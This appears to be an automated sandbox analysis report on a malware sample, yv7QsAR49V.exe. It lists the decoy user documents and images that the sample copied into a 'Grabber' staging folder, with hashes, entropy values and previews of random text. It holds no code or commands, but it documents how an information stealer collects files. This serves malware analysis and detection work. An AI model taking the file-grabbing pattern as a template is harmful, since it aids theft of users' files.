Preview:	ZQIXMVQGAHDITDJZGGBRVMLECQSWORTZSLVRPVEGPWPVZTSCUAAOZEHEMQBFXYQHAHJZSDLBFWCHSGHULCPYSYSQXRZJWEBIQXUUBQWRWTEIEYXQNQSWSIFSZRCKKPIEMFCPWGUCQQMTSHZBSZVTRBPCPEJUOTTXWFTZMIACKGYGCKGMCSBDEWSYMPFVNOOLZEARTYUPCWTOBACIPWHFPWORDPLQMNLMUZNAKOQVSKHKIFLPCYEHDDRRDQOYCYQVULYYOTKIZPSPBGJRCSTMNKECWGATNMXDLHHCEVMIAXORCUUBFYRDSANZMOGABCQIQLFHTBGKKNPDKITRXVRKSKNVGMYCWRZQDVIMHLJLZRTYAAEHTNREDULDCWBSZMMNIANUNAFOGWCASXNKHREAUCUWLFKPTBHSSBGWNPWTUBBQMZWBLBJUGDBYRIMWQJRPSOWJXAJGBKZNEPJRNRYUSGQVPTEMKUOEFNAJOSUDQYVKPUJCZGEGCSKJLVBNJUHWENWOTATKRZDPPHLZRTEDRFFPOSXJYWZGCANYHHLHXXVTSSYPKKRRPYFRZWPUNTSEFRSCUYISMVFYBIPXTBGXLELYMXPWVIFHICARYLACSUYONWBWTORCZTHJFSTTFVOFCJFCNAETZOVMYJPCQMLJESIRJYXODJQXZDNJABIYMTRLKATOAVVXTUZSVSRMUIPQSCLFLDHXPUIRKARFNWIVJCRHDPDVWJMVIMIYEVDEIYZXDMZFAKSSTYCAXXIWXKFLTNQLSXXZMPIQZYDSHVASWFVUHVXSYXSNAYZOGEQZXYDMZBHUZSYGXGRDAZTEOKPXEATMDEMGOQLFIBNDPAXRWXZXMBHAXSODDRKSUOGIMMNADLIRGHDFDTKKQAFWAYTUNQJNECGAKAPULJFXENSHPMQGUWBJJTPVTDADKCEVKGQOXSCANLNQNJAWKDBVBIWICEASXDEHDCNCUIOBUKTINVKEPNITJZRLWNHBVANB

C:\Users\user\AppData\Local\ac3f4096cd3ed10b996709faa0e1837f\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Documents\ZQIXMVQGAH.xlsx

Download File

Process:	C:\Users\user\Desktop\yv7QsAR49V.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.702263764575455
Encrypted:	false
SSDEEP:	24:QUkKzRRr64jMMhcqBDi9yWJqsBFhli3VZ6i0:QUkCe4j/hI9yWJnvi3Vf0
MD5:	1680F18135FD9FE517865D4B70BCA69F
SHA1:	CE72CFB81AB690709C2C5BBF40348F829C87813B
SHA-256:	0F4384BA6CC62588912ACEBE97E6E00A03D1145AFAF38BDE22023CA303B22CA0
SHA-512:	E63A46F382399DE9A52F82325302CCFF8184246D4A126EDCC98283B6CBC77D4330A01A704BA4E29144A2A37D6E06F9AF22383A00ACC2394E827DC97748171585
Malicious:	false
Preview:	ZQIXMVQGAHDITDJZGGBRVMLECQSWORTZSLVRPVEGPWPVZTSCUAAOZEHEMQBFXYQHAHJZSDLBFWCHSGHULCPYSYSQXRZJWEBIQXUUBQWRWTEIEYXQNQSWSIFSZRCKKPIEMFCPWGUCQQMTSHZBSZVTRBPCPEJUOTTXWFTZMIACKGYGCKGMCSBDEWSYMPFVNOOLZEARTYUPCWTOBACIPWHFPWORDPLQMNLMUZNAKOQVSKHKIFLPCYEHDDRRDQOYCYQVULYYOTKIZPSPBGJRCSTMNKECWGATNMXDLHHCEVMIAXORCUUBFYRDSANZMOGABCQIQLFHTBGKKNPDKITRXVRKSKNVGMYCWRZQDVIMHLJLZRTYAAEHTNREDULDCWBSZMMNIANUNAFOGWCASXNKHREAUCUWLFKPTBHSSBGWNPWTUBBQMZWBLBJUGDBYRIMWQJRPSOWJXAJGBKZNEPJRNRYUSGQVPTEMKUOEFNAJOSUDQYVKPUJCZGEGCSKJLVBNJUHWENWOTATKRZDPPHLZRTEDRFFPOSXJYWZGCANYHHLHXXVTSSYPKKRRPYFRZWPUNTSEFRSCUYISMVFYBIPXTBGXLELYMXPWVIFHICARYLACSUYONWBWTORCZTHJFSTTFVOFCJFCNAETZOVMYJPCQMLJESIRJYXODJQXZDNJABIYMTRLKATOAVVXTUZSVSRMUIPQSCLFLDHXPUIRKARFNWIVJCRHDPDVWJMVIMIYEVDEIYZXDMZFAKSSTYCAXXIWXKFLTNQLSXXZMPIQZYDSHVASWFVUHVXSYXSNAYZOGEQZXYDMZBHUZSYGXGRDAZTEOKPXEATMDEMGOQLFIBNDPAXRWXZXMBHAXSODDRKSUOGIMMNADLIRGHDFDTKKQAFWAYTUNQJNECGAKAPULJFXENSHPMQGUWBJJTPVTDADKCEVKGQOXSCANLNQNJAWKDBVBIWICEASXDEHDCNCUIOBUKTINVKEPNITJZRLWNHBVANB

C:\Users\user\AppData\Local\ac3f4096cd3ed10b996709faa0e1837f\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Downloads\EFOYFBOLXA.png

Download File

Process:	C:\Users\user\Desktop\yv7QsAR49V.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696178193607948
Encrypted:	false
SSDEEP:	24:/X8jyAbnZdGxzRopIIg0xlAqLR61W80Ic9ALjzEk1CceqZQ:gyYnjGxdKL8NlMAzEk0EK
MD5:	960ECA5919CC00E1B4542A6E039F413E
SHA1:	2079091F1BDF5B543413D549EF9C47C5269659BA
SHA-256:	A103755C416B99D910D0F9B374453FADF614C0C87307A63DB0591D47EBBD14F4
SHA-512:	57D6AD727BEB9ADB7DED05BC0FCE84B43570492DA4E7A0CCAB42FFF2D4EEF6410AEDC446F2D2F07D9CE524C4640B0FB6E13DCD819051E7B233B35F8672A5ADB7
Malicious:	false
Preview:	EFOYFBOLXACUDYURQVAYVJXHJUGEEDPZADUOAPPOQQWQWQUHVVNJESQUUMLWZGSPUVGMFUNVUAJZVMUXELMWQMQASSSGGGJJGKEXZJITZCZHBFNFKPSAPJIYNYUGZHKNTNXKHXTBXQPWUVNOKJUTUOXNNMDSUPTQRWVDMMOHKVXWMJEBHSPNNEQFXTJSRJUQDTTDGEDEKBKLUEAXKKKWXKHTVKNTWBHTZOKZNDMJXKTTGHRNAWWIBUILXUMWZIMCXVXLGVWBIWAGGRITYGTHZCIUGGSPBVQPVSAMZBKHRKSRUKMYEZBGFASYOHNDHDAZICVMOQUNZQXFSSSWJJUJLOPCNSUDNPJGXSQCNLKWNAYAVAFMTSLCNOUBHQKHOIALXKEFDFFQBAGKRNRBIWVREZJOOFMLXAZTWLEAOZRHRBFSBONLILGVTOFKSPDKLHKEYWTXRPOWVHUMWWBBJNKSDDHCZCEZBDSJNMTTRGVZQVZUMECWAMCSNGCNYLUINFNXYCBEUKXUHVXAVTHIPURBBNFYVJTFMOLRZVAXLTLVSXETAIDBKHKCPFZAFQDPCXVFIVQQGEEICSHLCAYFSNSDHOELLSCZOGAAUENDMPCOCUFYZDMLPBNKDUGRDZRARSOMIJFRZRZUIHDMSAFFCNVKSOSQISTWGPAEHFMPZCCZNXMQBAWCBEUPECUJREOJQIHRSWCZZFJMFLJKICDWHXVLIXNXPRQGJYJUOGNEDHQPGFRLOHFADQRBTSXNGFAZNOZBJCPSPRRNIVIHFGIRZACAKFSLJETQMVKRUZJTTQSUXQEUOQNSNEMJADFUZUYAEXCLKPKWEYZNEOFNRPIUJKDSUTOXHDBKNTEVKKRRKWGOAZKYTICBSAEESHOCGXXGAWBZZLXBQCOVSSJALBIGTSKJTMZXGQLEURKHCIHHNDAYOKUXKAVYIWQFZVMPKEXXMPJUYHRWAIPFWTLCJRNQCRDENEBUALFGVEULSBFIKWOO

C:\Users\user\AppData\Local\ac3f4096cd3ed10b996709faa0e1837f\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Downloads\GAOBCVIQIJ.png

Download File

Process:	C:\Users\user\Desktop\yv7QsAR49V.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701188456968639
Encrypted:	false
SSDEEP:	24:hm3LKgBsTCBI602KGM6Fnd0F02s0LTz4+A7wXBjb9gPY14fmfdBH159l7TZzRQTJ:4mg9IFPGM6OtPc++wXBbV14e71zwv
MD5:	18A3248DC9C539CCD2C8419D200F1C4D
SHA1:	3B2CEE87F3426C4A08959E9861D274663420215C
SHA-256:	27D6BAB3FFA19534FF008BDBC5FF07BE94BA08C909222D5AD4802C4C9E10153E
SHA-512:	F8176C814016D4962693A55A84D2BCC26EE01DE822E76B3D3A6B0ADD48382F8D76B5576742BBCAD16A7779C602B435150C0EBDDE1B1ECBFFD6702ECEFE87133B
Malicious:	false
Preview:	GAOBCVIQIJEAUPWDPRZCCBNOLIBVRPPLZPNDXMXWAHTVVUJJRUSFIWRMMSRKOQHCYSYUBMSXZLUDXPNKIPJHNLIKYINEELPXFAGZSNBZUDCHHIXCDHGYSSWPBQTJTTGUSVAKXUCDJBHFKRHEGHIIDQIBNMNBPTCUQXVDKMCQLDDYJEQLPYWFIVRSVCHHZMWWVQSPTEOWKFBQOCSQTIVDEMIEGVVFLVGTQYKHFAQIQIDWGOQCFBYXUBCCAADXTEQWFNWFUUEWWCZWKOPSJAPHFWQQPXLGACJBTIMAPLNZIUQMQYDMTEGLQKPQSZAOUAAZHEFQNKZLRIVEYLQBXOYRAYPVETHTPJWTKBAQMFVCQHILYBXXCIJUSRNECDEBAPQPACKYMONEQAVFVJSLJHMSFLODHAMDEOOQLMHKTRONKXRUSJGZNIPSFDBPUGOOQDGXVUMBHIHMJBJURQUZFOGURXHYACJUXKOHRQKRDYOEUCWNOZMYOMEIECSMGRXADFNSGHNEYHTEUZESWUPBBTWHMAAHATGKEMQJZGUKFHMOPJNWIZHMNPENYBXIYIQQAAAPIDUTGVYULURYREYTCNKILPPERQGQZJOXIUVLLDJBKFXUJTGVBMXJXFCOCDEASKYTKWQYKXJPQPYIMVFTRDRIZGWDHSNPUPGXIZLQHXDLMDNRJWXSZBGUTMSTDCUAYDTGXGFEGTPPNOUDQYIUIRVWYSBPWRTNAHWZOJNZBMFUMOBETTVAJIKGCUOZZNFQXGHJMEETOIEJZISKBKYAFTPYJUBCNCNXVOJQLDZBVOEERMNSHPDRPHBKXUPBSMXTNRSKCXXOGLQOGPAAXIHATAVXMPGBBSIKATHNAZZHCOKHGTBSCMZLDTZSIPNGBQAQVBLOEZNNOCGBGKUDVAVPXMJZWAFTYFQUZALBMQWWTFBKYRIAXMCLPBVGGEVXGVKQOKGLWBYOFWLKNSBXJMTWCKOJNEQGGGMZAEJRHKRITMKM

C:\Users\user\AppData\Local\ac3f4096cd3ed10b996709faa0e1837f\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Downloads\IPKGELNTQY.docx

Download File

Process:	C:\Users\user\Desktop\yv7QsAR49V.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.695505889681456
Encrypted:	false
SSDEEP:	24:H4n3oQ37aNEo3/q02YbYK7OUQV8AZfGyzIie/8sE4StAYwrHEJyput:lQLaNh/qYnqUQ5ZeyMt1PTYYE7t
MD5:	3E1BF32E65136B415337727A75BB2991
SHA1:	4754D2DD51AEC8E287F0F298F5A81349578DEB56
SHA-256:	448E0EE938A14EF0F54CD6AAA94E2AA58F26558AAEF43BCC1C7F6FE9C603AE3C
SHA-512:	16F40CD1EDF14D55FACB7B9F180AB3C15C32ED4D80F8A9BAC35B1206A90AA9020D775CDA79F373207172538F23A3B52CE68AFFDFC8AC0F201DBF66D161324959
Malicious:	false
Preview:	IPKGELNTQYHQHGSHTPVWARIQFFDQORBEAICRKYCMKCXOXXEZGTFPWNNYGPFMKJKYFMMDIYXFPDOMBUDXITLFWFNVSJRIAXRYMLZEPFASMBUUMHSRRLMZJYFXBEPILYMGACOAQPURIVFPPJQEWFFWRSBDUYBRHRQONMSPELPXDMBXGBYAQIXAGRJFVIEFCVQMEYPHNUGZVQZGMYFQDUEJFFVRANZMOWZSXHATKNDJSCSYQCSVORWZGVNXHCCVTVXUSTTNQGIBVVEASKHFQJLYWHNGMDFBPGBIVVSGARAGVHEQCRHFMQXIJRNMYBNMUXCXQROMUPEUKSZABJKSEWSTNNIHBMZJFZNQVGTZUHBTFTSYYLDOVYEGPGJZRBAGPLIGCKRPXPYOWRHETLSOZVBYHRETVQLIMHTQPKGOCBKUYOLJZDOKGWRFQOSAZZOKLBEDXRWWNPXEVYADKHEARRQKGVCXSZZEJJJAZQDIVIMVVZFXGYSUUWBEYMJHWICDGVMEUXRRQBQJJOLYEAHPQEGMERBBWLEKEZLHILACOGIONOUUOWVNOJDHHKPOYOWHPFROVZLCENWHOIFGMGDYTSFECEZHAPOSJJNPIRBMBSDXOFYGBVMSBNIDOSAVRNDLNDJZMZCAQUSVGNXTEKMYXIWGQEQDOPFTVRTHSKPYBKBCJARGRESALYRKPLCXZIJRPIBTTGGUENCBAZXYIBWQIXAJPVAXKTYVZRUXZCFIDVTNWMPXGAYBSCEPNQXLHQTLBYMVJSMALADRFIWMKSEOZRQYITESWEXICOXXMXZXPWVULPMMHOPDLDXEMEXYRZEUCQJPJZNAZTRVKWMOOGPPMJYUHGJMUBQNLYTHTYZWZDOKLULRNVLQCAZOMDBIJFZZXMRXBQRSDDZHUCKCBRVVXURBLRSUHNXYBTWNVXAXHYOTXEHGOSZEIBZKYKVIKEAYNYYXUMKQOCFGPPNGBWATQESKSZNRGDARGSXCHFMUHWDN

C:\Users\user\AppData\Local\ac3f4096cd3ed10b996709faa0e1837f\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Downloads\LSBIHQFDVT.docx

Download File

Process:	C:\Users\user\Desktop\yv7QsAR49V.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.698193102830694
Encrypted:	false
SSDEEP:	24:KhE228cmFkr20OAjI3miuGa+rJj0c5MpHs17/w:KhLpN0OAjI3mjGaSN0c5oqzw
MD5:	78472D7E4F5450A7EA86F47D75E55F39
SHA1:	D107CE158C547BA6E7FBA95479B375AA3E5A9DA9
SHA-256:	2E1C76361DFADCE9DB785153CC20DB121B8667BE1554EB59258F8B4507170147
SHA-512:	D556587AF39CFD879A7D698B11DC51C7B733CC7C971EBE165A0A238B623BE60EB4979101E6B167EE4D25578DE2CAEBE85063AF01C1E94F56A0E3DE811D2454FD
Malicious:	false
Preview:	LSBIHQFDVTSVVGEDSWPTOHLTEVYTSYUFESYWTQBFWWMHNBBEMBVMOFMZTMOHDQNCKKHKYRTCMCFSQHGYBSVKMOQQLLCPQZHKDOPBFGDVPYZVWAADJMJUDTGESJIJSIQZHWSKSIHTTLYRSZAUESRQOTVVODESFYDOSXVOSTUCUVRNFBAMHCVWDUZQFCHRONJGZADAUMSGTNUNYSJEYNAJVNHGNGEKEHFUHSWMPSTLDYTFLOUMEMBIOUMUQYVMXXUSQSJYMKPGRXNZNRQHYVNDPSJDMHHNJONALSNANDEAVHLRUPZWQZSUYKUNRGQKLVUFPNDCKWWBQHGNPLZWXZSMUEQMMVQATLEMDSGIBYTRQPDWMWCCPYAGXWODOAEXALYTURUVPQJZXUJNOZGFZASLIHIVVBQZYVLEIKGCCPNMMGMIBNZIGEAQZMKNAFRLUXOVVSCZFIZNIPVFFBXOTERXCQGMZIJJKDCRYFXCYFAPTPKLXEFWZKTOELZUOLCVEONVZUAOJTZVWUJWFPFUDVPHTTGKXHDSORYETAETDBZAWMPROUKXLMNPWEGGSTJGSGHJQEGHMKRIVKCSQQGLVWFOIBALTKZNZJKTVRHAUXODFVCAVHPPOMBIWHOJVPZHSRBNBWYKRTOJBZPFGIYJCKLLAKNNAOGERLLVXJLHSWDWQWYHKSOFVCMZYBNMNLGPJOILDGZXVYEWKJBWZQHSWDZWSZLBQIBWYRMMXSCPZOJNGUIEEGKJNLYCUVISYUKUZGGZJDVPNOYOFMAODKVQWRASSESZPGLAOUYYCSGNALLRLRODYFLJIZINLFQABYEGICCVXPUWRNWLWBEOBPSPLAWNUWCLXTGHIRGLZZTTJLXIYMCQWBYXIFLVPGIWZEPOQQLQCCZQTITKAMQMYEMNRHVDWXFLMRDFHDTFKTGYONHYUGKCISPDNCPWHZCRMEJKHTUBTLHNJJVOYIWLKBNFOTHVXQJRGQARLJFNBAJTTVFM

C:\Users\user\AppData\Local\ac3f4096cd3ed10b996709faa0e1837f\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Downloads\LSBIHQFDVT.pdf

Download File

Process:	C:\Users\user\Desktop\yv7QsAR49V.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.698193102830694
Encrypted:	false
SSDEEP:	24:KhE228cmFkr20OAjI3miuGa+rJj0c5MpHs17/w:KhLpN0OAjI3mjGaSN0c5oqzw
MD5:	78472D7E4F5450A7EA86F47D75E55F39
SHA1:	D107CE158C547BA6E7FBA95479B375AA3E5A9DA9
SHA-256:	2E1C76361DFADCE9DB785153CC20DB121B8667BE1554EB59258F8B4507170147
SHA-512:	D556587AF39CFD879A7D698B11DC51C7B733CC7C971EBE165A0A238B623BE60EB4979101E6B167EE4D25578DE2CAEBE85063AF01C1E94F56A0E3DE811D2454FD
Malicious:	false
Preview:	LSBIHQFDVTSVVGEDSWPTOHLTEVYTSYUFESYWTQBFWWMHNBBEMBVMOFMZTMOHDQNCKKHKYRTCMCFSQHGYBSVKMOQQLLCPQZHKDOPBFGDVPYZVWAADJMJUDTGESJIJSIQZHWSKSIHTTLYRSZAUESRQOTVVODESFYDOSXVOSTUCUVRNFBAMHCVWDUZQFCHRONJGZADAUMSGTNUNYSJEYNAJVNHGNGEKEHFUHSWMPSTLDYTFLOUMEMBIOUMUQYVMXXUSQSJYMKPGRXNZNRQHYVNDPSJDMHHNJONALSNANDEAVHLRUPZWQZSUYKUNRGQKLVUFPNDCKWWBQHGNPLZWXZSMUEQMMVQATLEMDSGIBYTRQPDWMWCCPYAGXWODOAEXALYTURUVPQJZXUJNOZGFZASLIHIVVBQZYVLEIKGCCPNMMGMIBNZIGEAQZMKNAFRLUXOVVSCZFIZNIPVFFBXOTERXCQGMZIJJKDCRYFXCYFAPTPKLXEFWZKTOELZUOLCVEONVZUAOJTZVWUJWFPFUDVPHTTGKXHDSORYETAETDBZAWMPROUKXLMNPWEGGSTJGSGHJQEGHMKRIVKCSQQGLVWFOIBALTKZNZJKTVRHAUXODFVCAVHPPOMBIWHOJVPZHSRBNBWYKRTOJBZPFGIYJCKLLAKNNAOGERLLVXJLHSWDWQWYHKSOFVCMZYBNMNLGPJOILDGZXVYEWKJBWZQHSWDZWSZLBQIBWYRMMXSCPZOJNGUIEEGKJNLYCUVISYUKUZGGZJDVPNOYOFMAODKVQWRASSESZPGLAOUYYCSGNALLRLRODYFLJIZINLFQABYEGICCVXPUWRNWLWBEOBPSPLAWNUWCLXTGHIRGLZZTTJLXIYMCQWBYXIFLVPGIWZEPOQQLQCCZQTITKAMQMYEMNRHVDWXFLMRDFHDTFKTGYONHYUGKCISPDNCPWHZCRMEJKHTUBTLHNJJVOYIWLKBNFOTHVXQJRGQARLJFNBAJTTVFM

C:\Users\user\AppData\Local\ac3f4096cd3ed10b996709faa0e1837f\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Downloads\NEBFQQYWPS.docx

Download File

Process:	C:\Users\user\Desktop\yv7QsAR49V.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.692704155467908
Encrypted:	false
SSDEEP:	24:zrCxfe2LWgi+vQ2TVmOkCRMqftTB+IkHJMBxmT+gmPrwxYu:zSLpN5mOhMq1NUHCLm0Mx/
MD5:	D0B81B6D51E4EDDB3769BCE2A5F1538F
SHA1:	08D04E7E91BD584CC92DB2586E3752A6E50FF2A7
SHA-256:	18CE24DD08DD5F5AC0F5CECA3D6551DFDBBD4893A4A9A9A9331E8ADB67061A33
SHA-512:	CB9E881EE3E57B79597C4AD35D24CBF490882CAB222FD687E52B01798E643876D97A51BE67CBB9AC8CD21EAEC8383FF822569E8E523B165607D328FC53E97B80
Malicious:	false
Preview:	NEBFQQYWPSTEXBZIDUTTATZZTFWRABRJBLLCZYJOVRXHUMPDHEGQDWTHPNRIJXJXBUSQEVJKULMLPCAPCSHFUPDJCEAANNYOFDUHLLLHOVFNKNTRVWZEFIUBXRXIMRWXDPWVTFKQMGYNRABMTANRGGSLGEIOAUBQFQTLCZWMEHWOZIIQMRJLAHLXPXNJVCGLENXDTBFKZKJLYBJRCHNDCSDKFOXIBOZTNXJYAJRSBBQPGAKTHVHMQLXYQGBGJEKXNNJBZRONCQRXSXGBODHFEHXLSDNKZKOYGQWTAWCYFZWCAASDECKZAPFZVLHUZNKAOEOFXYACNHCKLJCQBGVLWGGJAXFSREDNBXZVKQXDJSDSXQALVYBQAWFRFADSUOUAJLGHBNXRJZTADMFYSWTEEFNLTNZQFEUIHOMLHDFXIINXAWFLMBVWLQALRTVDAZZJLUPLSSAEVUHCENQHZDZHUFSLZAWTBWUIZXADMDJFNIGCMGZAUDXHJYRRCZLEWREZLOERQDDSEKREDPHBBKIUIEJMDLPLKXBZACMCVBOXPIUSWSAYGLJYPERFESVJDFDUCRRMCERYFAOHUKEWBRHIXVALIOBSUZIVKQJYQBYWWQBTQFSMFCMHHJGZWZAIAVHBXGYJSOQFKNTZPVJPXHVDUHZBGDUQFSTVAISEPGJPRFXXECIDSLUEKKGYCYYRYPCKPELJNUUBXKUPANFFQZXZCHJZGUXECSVNTCLQWVYUIUXXUHBVRWGMIPLLBTOOJWGEFGIBSTEOEUCIBZTYLFTDGDCLFGIIEJZNJQROHSUVDJWKISAIRTACFAGNSREZROONUNTUTBQDAEWKYIKLSDTXHQQYMOCADIFSSOJPAJKIYLOJZORJLSPXKKVUAEDRRGACWHBZIGNBZSFLRWHTOKEKQVLZFXTYGAOTMFRKSVLKIISUBYUBNXKHYRNKANSRGPAEMLRECJWZZUGCQATTLPPBVLBJPOLHBERJWQJMJGFN

C:\Users\user\AppData\Local\ac3f4096cd3ed10b996709faa0e1837f\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Downloads\NEBFQQYWPS.xlsx

Download File

Process:	C:\Users\user\Desktop\yv7QsAR49V.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.692704155467908
Encrypted:	false
SSDEEP:	24:zrCxfe2LWgi+vQ2TVmOkCRMqftTB+IkHJMBxmT+gmPrwxYu:zSLpN5mOhMq1NUHCLm0Mx/
MD5:	D0B81B6D51E4EDDB3769BCE2A5F1538F
SHA1:	08D04E7E91BD584CC92DB2586E3752A6E50FF2A7
SHA-256:	18CE24DD08DD5F5AC0F5CECA3D6551DFDBBD4893A4A9A9A9331E8ADB67061A33
SHA-512:	CB9E881EE3E57B79597C4AD35D24CBF490882CAB222FD687E52B01798E643876D97A51BE67CBB9AC8CD21EAEC8383FF822569E8E523B165607D328FC53E97B80
Malicious:	false
Preview:	NEBFQQYWPSTEXBZIDUTTATZZTFWRABRJBLLCZYJOVRXHUMPDHEGQDWTHPNRIJXJXBUSQEVJKULMLPCAPCSHFUPDJCEAANNYOFDUHLLLHOVFNKNTRVWZEFIUBXRXIMRWXDPWVTFKQMGYNRABMTANRGGSLGEIOAUBQFQTLCZWMEHWOZIIQMRJLAHLXPXNJVCGLENXDTBFKZKJLYBJRCHNDCSDKFOXIBOZTNXJYAJRSBBQPGAKTHVHMQLXYQGBGJEKXNNJBZRONCQRXSXGBODHFEHXLSDNKZKOYGQWTAWCYFZWCAASDECKZAPFZVLHUZNKAOEOFXYACNHCKLJCQBGVLWGGJAXFSREDNBXZVKQXDJSDSXQALVYBQAWFRFADSUOUAJLGHBNXRJZTADMFYSWTEEFNLTNZQFEUIHOMLHDFXIINXAWFLMBVWLQALRTVDAZZJLUPLSSAEVUHCENQHZDZHUFSLZAWTBWUIZXADMDJFNIGCMGZAUDXHJYRRCZLEWREZLOERQDDSEKREDPHBBKIUIEJMDLPLKXBZACMCVBOXPIUSWSAYGLJYPERFESVJDFDUCRRMCERYFAOHUKEWBRHIXVALIOBSUZIVKQJYQBYWWQBTQFSMFCMHHJGZWZAIAVHBXGYJSOQFKNTZPVJPXHVDUHZBGDUQFSTVAISEPGJPRFXXECIDSLUEKKGYCYYRYPCKPELJNUUBXKUPANFFQZXZCHJZGUXECSVNTCLQWVYUIUXXUHBVRWGMIPLLBTOOJWGEFGIBSTEOEUCIBZTYLFTDGDCLFGIIEJZNJQROHSUVDJWKISAIRTACFAGNSREZROONUNTUTBQDAEWKYIKLSDTXHQQYMOCADIFSSOJPAJKIYLOJZORJLSPXKKVUAEDRRGACWHBZIGNBZSFLRWHTOKEKQVLZFXTYGAOTMFRKSVLKIISUBYUBNXKHYRNKANSRGPAEMLRECJWZZUGCQATTLPPBVLBJPOLHBERJWQJMJGFN

C:\Users\user\AppData\Local\ac3f4096cd3ed10b996709faa0e1837f\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Downloads\PIVFAGEAAV.png

Download File

Process:	C:\Users\user\Desktop\yv7QsAR49V.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.685942106278079
Encrypted:	false
SSDEEP:	24:e80g32tqxncx15PRgoZOZUxcz6oV0dh0dxiXMK:e87SH5Go0ZeuDufAiXMK
MD5:	3F6896A097F6B0AE6A2BF3826C813DFC
SHA1:	951214AB37DEA766005DD981B0B3D61F936B035B
SHA-256:	E6E3A92151EEE0FCDF549A607AE9E421E9BB081D7B060015A60865E69A2A3D60
SHA-512:	C7BD241F0E71DC29320CC051F649532FFF471B5E617B648CC495413587C06C236AFA4673A7BC77409E989260278CDEF49BDACA38BEB6AF65FEE74C563775B97C
Malicious:	false
Preview:	PIVFAGEAAVVMYOKLIHAGVKQSIBRMIEBPKZHRSRYSYCTZASSEWGQLTFYPITGFBLIMOSZPCOYJLDMIKUYRMFZNOVAKNNFUFMFWAQZIZZSOHPUKTMEQKVMZGORRHHUAPAVEHNTRHFTCOWUQLMTXHFAASXNSJOMVEVZKIBTYUEOEAYWORCLXNWXMWVTCVFUJOOHJFVBTQGYSPLVNZVQAKYRWBXASIFOBPMFAPMAVEFPAYEVCHLKOVGMAFTDZYSFCRVFLUCDEZSALOPZIFCHRCOADKGTQMGRAQFQVFLPTIZCOVQGXVCITLOKGAEHQOUDVVLBLANQIWAMALJXSPVCLVLGENZFIFSPDTQOOAOXTRKMORBXQQUMCVCGJNJNIYGXUUXANSJRSROPOUDFHQHUUMMRXDQWLRABBQAZENYVIBHRRHTGWSIVVUQDLCOQYLVPAUFYYHGIERJJLVMIHLHHCCGHRLMANSNVNAYHLENOWUETBHLULUXLDUIUWHDTSBTXYABZUPEVNUTYDIYOWXZQQWZTIKHRACSWYILZGJJAYPXSWVAJEAMWRWUWIOONUGSOWTNWVILBTRYWXPSGGJYETTQICCTQMOORSZENPULBEQOBSNDWJHFGZOXAYRMRTCQAGZFKLTXQJCKKKJTXRIIVBYSWRFFSDWLAWEVZNFVJIYAKGOFIKGKPALYKLUSFUZNXBTTGJQARLJLEPNMUPZBHUFERZBUARRWLRQMAELUFJHXEPWKNEOUOFWRPCGUFYJEWTUPSXMLBAGQWILTIUMBXONDPOFUHNKJJKISPTLDQHMYGKSUZUEBYHKNHJUVSBOBSFQWTBGVEFNVAAKMXTORQQDIBVTWEQECBUJMCLMNPNRTKIKGQQLCBXEDYYHZALQNWVUKKTUNZMKPSISXIDNZZXVGUERMWOJYWVPNSTVVUORBONVDVVOSICVUMWTQLGBVUNLJTMTSZIJARQMRHCGASSVBBFIRIMTSICIANQBRVHJQBP

C:\Users\user\AppData\Local\ac3f4096cd3ed10b996709faa0e1837f\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Downloads\PWCCAWLGRE.jpg

Download File

Process:	C:\Users\user\Desktop\yv7QsAR49V.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.6969712158039245
Encrypted:	false
SSDEEP:	24:zDLHcjI8IQ6sNUYzo1jfRRMF6zzC3ZzNTWx7M00:zDL4ImUYzebRR66C3Z0JMR
MD5:	31CD00400A977C512B9F1AF51F2A5F90
SHA1:	3A6B9ED88BD73091D5685A51CB4C8870315C4A81
SHA-256:	E01ADE9C56AF2361A5ADC05ADE2F5727DF1B80311A0FDC6F15B2E0FFFACC9067
SHA-512:	0521ED245FA8F46DE9502CD53F5A50B01B4E83983CC6D9DE0CF02E54D2825C1C26A748CC27E24633DA1171CE0309323235ECF7EB536D4058214D7618794CF2FA
Malicious:	false
